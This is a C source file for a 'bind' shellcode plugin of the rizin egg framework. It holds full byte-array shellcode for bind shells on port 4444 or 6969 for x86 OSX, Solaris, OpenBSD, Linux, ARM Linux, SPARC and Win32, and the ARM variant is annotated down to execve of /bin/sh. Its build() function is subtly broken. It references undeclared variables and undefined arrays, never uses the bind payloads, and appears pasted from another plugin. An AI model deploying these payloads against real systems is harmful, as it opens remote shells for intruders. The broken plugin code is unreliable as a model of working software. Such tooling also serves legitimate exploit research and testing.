// SPDX-FileCopyrightText: 2013 pancake <pancake@nopcode.org>
// SPDX-License-Identifier: LGPL-3.0-only

#include <rz_egg.h>

static unsigned char x86_osx_bind4444[] =
	"\x33\xc9\x83\xe9\xea\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
	"\x7e\x85\xb4\x83\xeb\xfc\xe2\xf4\xaf\x3c\xdd\x79\x45\x14\xe4\xec"
	"\x5c\x2c\xed\xa4\xc7\x6f\xd9\x3d\x24\x2c\xc7\xe6\x87\x2c\xef\xa4"
	"\x08\xfe\x1c\x27\x94\x2d\xd7\xde\xad\x26\x48\x34\x75\x14\x48\x34"
	"\x97\x2d\xd7\x04\xdb\xb3\x05\x23\xaf\x7c\xdc\xde\x9f\x26\xd4\xe3"
	"\x94\xb3\x05\xfd\xca\xf7\x74\x4b\x3a\x81\xd5\xdc\xea\x51\xf6\xdc"
	"\xad\x51\xe7\xdd\xab\xf7\x66\xe4\x91\x2a\xd6\xe7\x75\x45\x48\x34";

static unsigned char x86_solaris_bind4444[] =
	"\x31\xc9\x83\xe9\xe8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3f"
	"\x08\x0b\x8d\x83\xeb\xfc\xe2\xf4\x87\xf7\xf3\x72\x03\xff\xdb\xdd"
	"\x0e\xc8\xbb\x17\x6f\x81\xee\xbc\xf6\x59\x4a\xcc\x6e\x59\xbb\x6b"
	"\xc0\xdd\x3a\x5f\xb6\xcf\x59\xeb\x57\x19\x57\xeb\x6e\x81\xed\xe7"
	"\x2f\x5e\x5c\x3d\xd7\xf7\xde\x3d\xd6\xf7\xde\xdd\x6f\x5f\xbb\x67"
	"\xc0\xdd\x3a\x5f\x8d\x01\x5a\xdf\x6f\xb8\x35\x72\xea\x41\x72\x7f"
	"\x6f\x60\x24\xa2\x4c\x60\x63\xa2\x5d\x61\x65\x04\xdc\x58\x58\x04"
	"\xdd\x58\x59\xde\x8f\x33\xf4\x58";

// port must be configurable
static long x86_openbsd_bind6969[] = { // 391b
	0x4151c931, 0x51514151, 0x61b0c031, 0x078980cd, 0x4f88c931, 0x0547c604, 0x084f8902,
	0x0647c766, 0x106a391b, 0x5004478d, 0x5050078b, 0x68b0c031, 0x016a80cd, 0x5050078b,
	0x6ab0c031, 0xc93180cd, 0x078b5151, 0xc0315050, 0x80cd1eb0, 0xc9310789, 0x50078b51,
	0xb0c03150, 0x4180cd5a, 0x7503f983, 0x5b23ebef, 0xc9311f89, 0x89074b88, 0x8d51044f,
	0x078b5007, 0xc0315050, 0x80cd3bb0, 0x5151c931, 0x01b0c031, 0xd8e880cd, 0x2fffffff,
	0x2f6e6962, 0x90416873
};

static unsigned char x86_linux_bind4444[] =
	"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x81\x9c\x95"
	"\xe9\x83\xeb\xfc\xe2\xf4\xb0\x47\xc6\xaa\xd2\xf6\x97\x83\xe7\xc4\x0c\x60"
	"\x60\x51\x15\x7f\xc2\xce\xf3\x81\x90\xc0\xf3\xba\x08\x7d\xff\x8f\xd9\xcc"
	"\xc4\xbf\x08\x7d\x58\x69\x31\xfa\x44\x0a\x4c\x1c\xc7\xbb\xd7\xdf\x1c\x08"
	"\x31\xfa\x58\x69\x12\xf6\x97\xb0\x31\xa3\x58\x69\xc8\xe5\x6c\x59\x8a\xce"
	"\xfd\xc6\xae\xef\xfd\x81\xae\xfe\xfc\x87\x08\x7f\xc7\xba\x08\x7d\x58\x69\x00";

// TODO: UDP support
static unsigned char x86_linux_udp4444[] =
	"\x33\xc9\x83\xe9\xe7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13\xec\x81"
	"\xca\x83\xeb\xfc\xe2\xf4\x22\x37\xd2\xa0\x11\x86\x83\x89\x79\x8a\xd9\x43"
	"\xf2\x21\x01\x59\x4a\x5c\xbe\x07\x93\xa5\xf8\x33\x48\xb6\xe9\xb5\x13\xec"
	"\x80\xac\x7b\xfd\xdd\xac\x40\x65\x60\xa0\x03\xbd\xd2\x43\xf2\xaf\x31\xac"
	"\xde\x6c\xeb\xc1\x4b\xbe\xe7\xa2\x3e\x85\x08\x2b\x79\x8b\xe7\xa2\x7a\x82"
	"\xe9\xaf\x77\x85\xf5\xa2\x3e\xc1\xef\xa5\x9a\x0b\xd3\xa2\x3c\xc3\xf2\xa2"
	"\x7b\xc3\xe3\xa3\x7d\x65\x62\x98\x42\xbb\xd2\x43\xf2\x21\x01\xca\x00";

static char arm_linux_bind[] =
	"\x20\x60\x8f\xe2" /*  add   r6, pc, #32           */
	"\x07\x70\x47\xe0" /*  sub   r7, r7, r7            */
	"\x01\x70\xc6\xe5" /*  strb  r7, [r6, #1]          */
	"\x01\x30\x87\xe2" /*  add   r3, r7, #1            */
	"\x13\x07\xa0\xe1" /*  mov   r0, r3, lsl r7        */
	"\x01\x20\x83\xe2" /*  add   r2, r3, #1            */
	"\x07\x40\xa0\xe1" /*  mov   r4, r7                */
	"\x0e\xe0\x4e\xe0" /*  sub   lr, lr, lr            */
	"\x1c\x40\x2d\xe9" /*  stmfd sp!, {r2-r4, lr}      */
	"\x0d\x10\xa0\xe1" /*  mov   r1, sp                */
	"\x66\xff\x90\xef" /*  swi   0x90ff66     (socket) */
	"\x10\x57\xa0\xe1" /*  mov   r5, r0, lsl r7        */
	"\x35\x70\xc6\xe5" /*  strb  r7, [r6, #53]         */
	"\x14\x20\xa0\xe3" /*  mov   r2, #20               */
	"\x82\x28\xa9\xe1" /*  mov   r2, r2, lsl #17       */
	"\x02\x20\x82\xe2" /*  add   r2, r2, #2            */
	"\x14\x40\x2d\xe9" /*  stmfd sp!, {r2,r4, lr}      */
	"\x10\x30\xa0\xe3" /*  mov   r3, #16               */
	"\x0d\x20\xa0\xe1" /*  mov   r2, sp                */
	"\x0d\x40\x2d\xe9" /*  stmfd sp!, {r0, r2, r3, lr} */
	"\x02\x20\xa0\xe3" /*  mov   r2, #2                */
	"\x12\x07\xa0\xe1" /*  mov   r0, r2, lsl r7        */
	"\x0d\x10\xa0\xe1" /*  mov   r1, sp                */
	"\x66\xff\x90\xef" /*  swi   0x90ff66       (bind) */
	"\x45\x70\xc6\xe5" /*  strb  r7, [r6, #69]         */
	"\x02\x20\x82\xe2" /*  add   r2, r2, #2            */
	"\x12\x07\xa0\xe1" /*  mov   r0, r2, lsl r7        */
	"\x66\xff\x90\xef" /*  swi   0x90ff66     (listen) */
	"\x5d\x70\xc6\xe5" /*  strb  r7, [r6, #93]         */
	"\x01\x20\x82\xe2" /*  add   r2, r2, #1            */
	"\x12\x07\xa0\xe1" /*  mov   r0, r2, lsl r7        */
	"\x04\x70\x8d\xe5" /*  str   r7, [sp, #4]          */
	"\x08\x70\x8d\xe5" /*  str     r7, [sp, #8]          */
	"\x66\xff\x90\xef" /*  swi   0x90ff66     (accept) */
	"\x10\x57\xa0\xe1" /*  mov   r5, r0, lsl r7        */
	"\x02\x10\xa0\xe3" /*  mov   r1, #2                */
	"\x71\x70\xc6\xe5" /*  strb  r7, [r6, #113]        */
	"\x15\x07\xa0\xe1" /*  mov   r0, r5, lsl r7 <dup2> */
	"\x3f\xff\x90\xef" /*  swi   0x90ff3f       (dup2) */
	"\x01\x10\x51\xe2" /*  subs  r1, r1, #1            */
	"\xfb\xff\xff\x5a" /*  bpl   <dup2>                */
	"\x99\x70\xc6\xe5" /*  strb  r7, [r6, #153]        */
	"\x14\x30\x8f\xe2" /*  add   r3, pc, #20           */
	"\x04\x30\x8d\xe5" /*  str     r3, [sp, #4]          */
	"\x04\x10\x8d\xe2" /*  add   r1, sp, #4            */
	"\x02\x20\x42\xe0" /*  sub   r2, r2, r2            */
	"\x13\x02\xa0\xe1" /*  mov   r0, r3, lsl r2        */
	"\x08\x20\x8d\xe5" /*  str   r2, [sp, #8]          */
	"\x0b\xff\x90\xef" /*  swi     0x900ff0b    (execve) */
	"/bin/sh";

static unsigned char sparc_linux_bind4444[] =
	"\x23\x2d\x57\xbb\xa2\x14\x63\xd5\x20\xbf\xff\xff\x20\xbf\xff\xff"
	"\x7f\xff\xff\xff\xea\x03\xe0\x20\xaa\x9d\x40\x11\xea\x23\xe0\x20"
	"\xa2\x04\x40\x15\x81\xdb\xe0\x20\x12\xbf\xff\xfb\x9e\x03\xe0\x04"
	"\x29\x75\x4f\xd2\xf1\x9a\xaf\xde\x61\x8a\x8f\xdf\x61\x89\x70\x2b"
	"\xb1\xed\x30\x2b\xf1\xd1\xf0\x37\x60\x35\xaf\xcb\x06\x29\x8f\x1d"
	"\x97\x99\xf0\xb1\x3c\x3a\x50\x91\x9a\x2d\xb0\xc1\x32\x6e\x0f\x15"
	"\x54\x4a\xcf\x2d\xb1\xad\x30\x49\x69\xb8\x10\x0d\xc3\xdf\x12\xb8"
	"\xfb\xe4\x2d\x22\x6c\x0b\x72\xa0\x1d\xfb\x52\xb4\xbf\xeb\xb2\xb5"
	"\x22\x28\x0d\x4d\x32\x3f\x52\xa9\xa3\xef\xb2\xa1\x04\x2c\x0d\x39"
	"\x44\x10\xcd\x45\xd4\x47\x12\xb0\x45\xb7\x72\xaa\xb6\x14\xcd\x3e"
	"\xa4\x4b\x12\xbd\x5a\xc9\x32\xc0\xd9\x1d\x92\x98\x4c\xcd\xf3\x0c"
	"\x7c\x52\x0c\xd1\x51\xae\x4c\xdd\xc5\xab\x73\x16\xc4\xc7\xab\xb2"
	"\xa6\xcc\x6a\xac\x85\xe7\xb1\xea\x59\xdb\xea\x1a\xc8\x38\x4a\x12"
	"\x0c\x04\x35\xd2\x1c\x58\xf5\xea\x5c\xbc\xb5\xf6\xde\xd2\xea\x3d"
	"\x4f\x02\xca\x49\x70\xa3\x0a\x49";

static unsigned char x86_w32_tcp4444[] =
	"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7a"
	"\xba\xcb\x13\x83\xeb\xfc\xe2\xf4\x86\xd0\x20\x5e\x92\x43\x34\xec"
	"\x85\xda\x40\x7f\x5e\x9e\x40\x56\x46\x31\xb7\x16\x02\xbb\x24\x98"
	"\x35\xa2\x40\x4c\x5a\xbb\x20\x5a\xf1\x8e\x40\x12\x94\x8b\x0b\x8a"
	"\xd6\x3e\x0b\x67\x7d\x7b\x01\x1e\x7b\x78\x20\xe7\x41\xee\xef\x3b"
	"\x0f\x5f\x40\x4c\x5e\xbb\x20\x75\xf1\xb6\x80\x98\x25\xa6\xca\xf8"
	"\x79\x96\x40\x9a\x16\x9e\xd7\x72\xb9\x8b\x10\x77\xf1\xf9\xfb\x98"
	"\x3a\xb6\x40\x63\x66\x17\x40\x53\x72\xe4\xa3\x9d\x34\xb4\x27\x43"
	"\x85\x6c\xad\x40\x1c\xd2\xf8\x21\x12\xcd\xb8\x21\x25\xee\x34\xc3"
	"\x12\x71\x26\xef\x41\xea\x34\xc5\x25\x33\x2e\x75\xfb\x57\xc3\x11"
	"\x2f\xd0\xc9\xec\xaa\xd2\x12\x1a\x8f\x17\x9c\xec\xac\xe9\x98\x40"
	"\x29\xf9\x98\x50\x29\x45\x1b\x7b\x7a\xba\xcb\x13\x1c\xd2\xda\x4f"
	"\x1c\xe9\x42\xf2\xef\xd2\x27\xea\xd0\xda\x9c\xec\xac\xd0\xdb\x42"
	"\x2f\x45\x1b\x75\x10\xde\xad\x7b\x19\xd7\xa1\x43\x23\x93\x07\x9a"
	"\x9d\xd0\x8f\x9a\x98\x8b\x0b\xe0\xd0\x2f\x42\xee\x84\xf8\xe6\xed"
	"\x38\x96\x46\x69\x42\x11\x60\xb8\x12\xc8\x35\xa0\x6c\x45\xbe\x3b"
	"\x85\x6c\x90\x44\x28\xeb\x9a\x42\x10\xbb\x9a\x42\x2f\xeb\x34\xc3"
	"\x12\x17\x12\x16\xb4\xe9\x34\xc5\x10\x45\x34\x24\x85\x6a\xa3\xf4"
	"\x03\x7c\xb2\xec\x0f\xbe\x34\xc5\x85\xcd\x37\xec\xaa\xd2\x3b\x99"
	"\x7e\xe5\x98\xec\xac\x45\x1b\x13";

static RzBuffer *build(RzEgg *egg) {
	RzBuffer *buf = rz_buf_new_with_bytes(NULL, 0);
	const ut8 *sc = NULL;
	int cd = 0;
	char *port = rz_egg_option_get(egg, "port");
	//TODO: char *udp = rz_egg_option_get (egg, "udp");
	switch (egg->os) {
	case RZ_EGG_OS_OSX:
	case RZ_EGG_OS_DARWIN:
		switch (egg->arch) {
		case RZ_SYS_ARCH_X86:
			if (suid) {
				sc = x86_osx_suid_binsh;
				cd = 7 + 36;
			} else {
				sc = x86_osx_binsh;
				cd = 36;
			}
		case RZ_SYS_ARCH_ARM:
			// TODO
			break;
		}
		break;
	case RZ_EGG_OS_LINUX:
		if (suid)
			eprintf("no suid for this platform\n");
		suid = 0;
		switch (egg->arch) {
		case RZ_SYS_ARCH_X86:
			switch (egg->bits) {
			case 32: sc = x86_linux_binsh; break;
			case 64: sc = x86_64_linux_binsh; break;
			default: eprintf("Unsupportted\n");
			}
			break;
		case RZ_SYS_ARCH_ARM:
			sc = arm_linux_binsh;
			break;
		}
		break;
	default:
		eprintf("unsupported os %x\n", egg->os);
		break;
	}
	if (sc) {
		rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
		if (shell && *shell) {
			if (cd)
				rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
			else
				eprintf("Cannot set shell\n");
		}
	}
	free(suid);
	free(shell);
	return buf;
}

//TODO: rename plugin to run
RzEggPlugin rz_egg_plugin_bind = {
	.name = "bind",
	.type = RZ_EGG_PLUGIN_SHELLCODE,
	.desc = "listen port=4444",
	.build = (void *)build
};

#ifndef RZ_PLUGIN_INCORE
RZ_API RzLibStruct rizin_plugin = {
	.type = RZ_LIB_TYPE_EGG,
	.data = &rz_egg_plugin_bind,
	.version = RZ_VERSION
};
#endif
